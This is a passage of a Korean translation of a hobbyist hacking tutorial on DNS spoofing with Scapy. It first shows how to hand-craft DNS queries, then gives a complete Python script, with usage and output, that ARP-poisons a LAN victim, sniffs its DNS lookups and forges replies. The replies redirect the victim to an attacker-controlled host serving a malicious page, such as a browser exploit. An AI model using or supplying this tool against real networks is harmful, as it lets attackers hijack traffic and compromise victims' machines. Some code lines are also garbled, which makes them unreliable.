동작하는지 알아내는데 좀 걸렸다 (내가 태어나서 처음으로 DNS 스푸퍼를 코딩한 것으로, 알아서 DNS 패킷을 만들어내도록 한다). 내가 빠뜨린 점은 DNS는 hackaholic.org에서처럼 **‘.’를 나타내는데** 03h(hex)를 쓴다는 것이다. 이상하다.

여하간에, Scapy는 DNS에 대해 다음과 같이 말한다:

```
>>> ls(DNS())
id : ShortField = 0 (0)
qr : BitField = 0 (0)
opcode : BitEnumField = 0 (0)
aa : BitField = 0 (0)
tc : BitField = 0 (0)
rd : BitField = 0 (0)
ra : BitField = 0 (0)
z : BitField = 0 (0)
rcode : BitEnumField = 0 (0)
qdcount : DNSRRCountField = 0 (None)
ancount : DNSRRCountField = 0 (None)
nscount : DNSRRCountField = 0 (None)
arcount : DNSRRCountField = 0 (None)
qd : DNSQRField = None (None)
an : DNSRRField = None (None)
ns : DNSRRField = None (None)
ar : DNSRRField = None (None)
>>>
```

RFC (1035)로부터 DNS 쿼리를 보내는데 다음 필드들이 흥미로울 것으로 판단했다.

ID: 이것은 16-bit 식별자(identifier)로 당신의 OS가 이것을 이용해 쿼리들을 구분한다. 이를 통해 OS는 어떤 응답(response)가 어떤 쿼리에 속하는지 안다 (응답 ID는 우리가 보낸 ID에서 복사될 것이다).

QR: Query Type. 쿼리 종류 (0은 질문(question)을 뜻하고, 1은 응답을 뜻한다)

OPCODE: 쿼리의 종류 (4-비트 길이). 0은 표준 쿼리(standard query)를 뜻하고, 1은 역 쿼리(inverse query), 2는 서버 상태 요청(server status request)를 뜻한다.

QDCOUNT: 당신이 묻고자 하는 질문의 개수 (보통 1)

QD: 응답 필드(request field). 응답 필드는 다시 3개의 필드로 구성된다;

QNAME: host/domainname (길이는 변함), 주: ‘.’를 \x03으로 대체하라. 어떤 이

유로 인해, QNAME은 newline (\ n)으로 시작할 필요가 있다.

QTYPE: 쿼리의 2-바이트 타입 (01으로 설정)
QCLASS: 쿼리의 2-바이트 클래스 (Internet은 01로 설정)

요청 필드(request field)의 모든 필드는 NUL-바이트로 종료되어야 한다.

좋다, 해보도록 하자. 나의 로컬 네임서버는 192.168.9.1 이다. 우리가 사용하는 전송 프로토콜(transport protocol)은 UDP이다:

```
>>> i = IP()
>>> u = UDP()
>>> d = DNS()
>>> i.dst = "192.168.9.1"
>>> u.dport = 53
>>> u.sport = 31337
>>> d.id = 31337
>>> d.qr = 0
>>> d.opcode = 0
>>> d.qdcount = 1
>>> d.qd = ' \ nhackaholic \ x03org \ x00 \ x00 \ x01 \ x00 \ x01'
>>> packet = i/u/d
>>> sr1(packet)
Begin emission:
...*Finished to send 1 packets.

Received 4 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=188 id=12111 flags=DF frag=0L ttl=64 proto=
UDP chksum=0x777f src=192.168.9.1 dst=192.168.9.17 options='' |<UDP sport=53
dport=31337 l en=168 chksum=0xab33 |<DNS id=31337 qr=1L opcode=16 aa=0L tc=0L
rd=0L ra=1L z=8L rcode=ok qdcount=1 ancount=1 nscount=5 arcount=0 qd=<DNSQR q
name='hackaholic.org.' qtype=A qclass=IN |> an=<DNSRR rrname='hackaholic.org.
' type=A rclass=IN ttl=661L rdata='24.132.169.84' |> ns=<DNSRR rrname='hackah
olic.org.' type=NS rclass=IN ttl=1177L rdata='dns4.name-services.com.' |<DNSR
R rrname='hackaholic.org.' type=NS rclass=IN ttl=1177L rdata='dns5.name-servi
ces.com.' |<DNSRR rrname='hackaholic.org.' type=NS rclass=IN ttl=1177L rdata=
'dns1.name-services.com.' |<DNSRR rrname='hackaholic.org.' type=NS rclass=IN
ttl=1177L rdata='dns2.name-services.com.' |<DNSRR rrname='hackaholic.org.' ty
pe=NS rclass=IN ttl=1177L rdata='dns3.name-services.com.' |>>>>> ar=0 |<Paddi
ng load='6g \ xa3 \ xf8' |>>>>
>>>
```

이런 것도 할 수 있다;

```
>>> res =sr1(packet)
```

```
Begin emission:
.*Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets
>>> res.an.rdata
'24.132.169.84'
>>>
```

대단하지 않은가? 이제 우리는 어떻게 DNS 패킷을 모조(forge)하는지 알아냈기 때문에, 비즈니스를 해보도록 하자.
나는 이 문서를 위해 DNS 스푸핑 프로그램을 짰다.. 이 프로그램은 다음과 같은 시나리오를 가정한다:

A와 B 두개의 호스트가 있고 라우터 R이 있다. R은 인터넷으로의 게이트웨이지만 로컬 네임서버이기도 하다.

우리는 호스트 A에 있는 공격자이고, 호스트 B는 우리의 사냥감이다.
우리는 호스트 B에서 검색되는(looked up) 모든 주소는 호스트A의 주소로 되도록(resolve) 하고 싶다. 따라서 만약 호스트 B의 누군가가 웹브라우저를 실행하고 URL을 치면.. 호스트 A 상에 우리가 만든(set up) 페이지를 로드할 것이다 (예를 들어 host B로 침투하기 위한 Internet Explorer 익스플로잇)

당신의 호스트 A에 웹 서버가 설정된 것을 확인하기 전에.. /etc/hosts에 있는 호스트A의 주소를 'google.com' 로 설정해서 원리를 테스트해 볼 수 있다. Windows (나의 목표 호스트 B)도 (%windir% \ System32 \ Drivers \ etc IIRC에)이 파일을 갖고 있다.

따라서 우리가 하는 일은 (같은 LAN상의)로컬 DNS 포이즈닝 기술이다. 다음 IP 주소들을 가정해보자:

Host A: 192.168.123.100
Host B: 192.168.123.101
Host R: 192.168.123.254

DNS를 스푸프하기 위해서는 그럴듯한 DNS 응답(response)를 만들 필요가 있다. 올바른 DNS ID로 응답하고 올바른 쿼리로 대답(answer)하는 것 말이다. 그렇게 하기 위해서는 호스트 B가 발산한 DNS 패킷을 스니프(sniff)할 수 있어야 한다. 이를 하기 위한 유일한 방법은 추가적인 기술을 써서 호스트 R로 향한 트래픽을 호스트 A로 바꾸는 것이다. ARP 포이

즈닝을 통해 이를 할 수 있다. DNS 검색(lookup) 바로 직전에 모조된(forged) ARP 패킷을 보냈다면, 우리는 DNS 패킷을 스니프해서 답신(reply)을 날조할 수 있을 것이다. 그런 다음 호스트 A의 주소를 가진 가짜 답신을 생성하여 브라우저가 우리의 악의적인 페이지를 다운로드하고 표시하도록 하는 것이다.

좋다.. 아래 코드를 공부하고 적용해보라:

```
#!/usr/bin/env python

import sys
from scapy import *
conf.verb=1

#### Adapt the following settings ####
conf.iface = 'eth2'
mac_address = '00:11:22:AA:BB:CC' # Real Mac address of interface conf.iface (Host A)
####

if len(sys.argv) != 4:
print "Usage: ./spoof.py <dns_server> <victim> <impersonating_host>"
sys.exit(1)

dns_server = sys.argv[1]
target=sys.argv[2]
malhost = sys.argv[3]

timevalid = ' \ x00 \ x00 \ x07 \ x75'
alen = ' \ x00 \ x04'

def arpspoof(psrc, pdst, mac):
a = ARP()
a.op = 2
a.hwsrc = mac
a.psrc = psrc
a.hwdst = "ff:ff:ff:ff:ff:ff"
a.pdst = pdst
send(a)

def mkdnsresponse(dr, malhost):
d = DNS()
d.id = dr.id
d.qr = 1
d.opcode = 16
d.aa = 0
d.tc = 0
d.rd = 0
d.ra = 1
```

```
d.z = 8
d.rcode = 0
d.qdcount = 1
d.ancount = 1
d.nscount = 0
d.arcount = 0
d.qd = str(dr.qd)
d.an = str(dr.qd) + timevalid + alen + inet_aton(malhost) < BR>return d

ethlen = len(Ether())
iplen = len(IP())
udplen = len(UDP())

arpspoof(dns_server, target, mac_address)
p = sniff(filter='port 53', iface='eth2', count=1)

e = p[0]
t = str(e)
i = IP(t[ethlen:])
u = UDP(t[ethlen + iplen:])
d = DNS(t[ethlen + iplen + udplen:])

dpkt = mkdnsresponse(d, malhost)

dpkt.display()

f = IP(src=i.dst, dst=i.src)/UDP(sport=u.dport, dport=u.sport)/dpkt
send(f)
```

이것이 어떻게 돌아가느냐 하면, 호스트 B상에서 어떤 페이지를 열기 직전에 호스트 A에서 아래처럼 실행하는 것이다. (‘mac_address’ 변수를바꿔주는 것을 잊지 말라)

```
detach@luna:~/lab/scapy-0.9.17$ ./spoof.py
Usage: ./spoof.py <dns_server> <victim> <impersonating_host>
detach@luna:~/lab/scapy-0.9.17$ sudo ./spoof.py 192.168.123.254 192.168.123.101
192.168.123.100
```

이는 호스트 B상의 ARP 캐시를 포이즌한 다음(호스트 R의 가짜 MAC가 호스트 A의 진짜 MAC라고 말한다), DNS 패킷을 스니프 할 것이다. 스니프된 정보는 우리의 mkdnsresponse() 함수로 전달되고 이 함수는 가짜 DNS 응답을 만들어낸다. DNS 스푸퍼(spoofer)는 코드 100줄도 안 된다!

다음과 같이 해보자:

```
detach@luna:~/lab/scapy-0.9.17$ sudo ./spoof.py 192.168.123.254 192.168.123.101
192.168.123.100
```

```
WARNING: No IP underlayer to compute checksum. Leaving null.
.
Sent 1 packets.
---[ DNS ]---
id = 140
qr = 1
opcode = 16
aa = 0
tc = 0
rd = 0
ra = 1
z = 8
rcode = ok
qdcount = 1
ancount = 1
nscount = 0
arcount = 0
qd = '\x05start\x07mozilla\x03org\x00\x00\x01\x00\x01'
an =
'\x05start\x07mozilla\x03org\x00\x00\x01\x00\x01\x00\x00\x07u\x00\x04\xc0\xa8{d'
ns = 0
ar = 0
.
Sent 1 packets.
detach@luna:~/lab/scapy-0.9.17$
```

표시된 패킷은 스푸프된 응답이다. start.mozilla.org의 주소가 스푸프 된 것을 볼 수 있다.

나는 이걸 만들기 위해 DNS 프로토콜 RFC를 그렇게 많이 읽지 않았다고 말하고 싶다. 대부분은 Scapy와 Ethereal에서 배웠다.

질문이 있다면 detach@hackaholic.org으로 메일을 보내주길 바란다. 영어로 ^^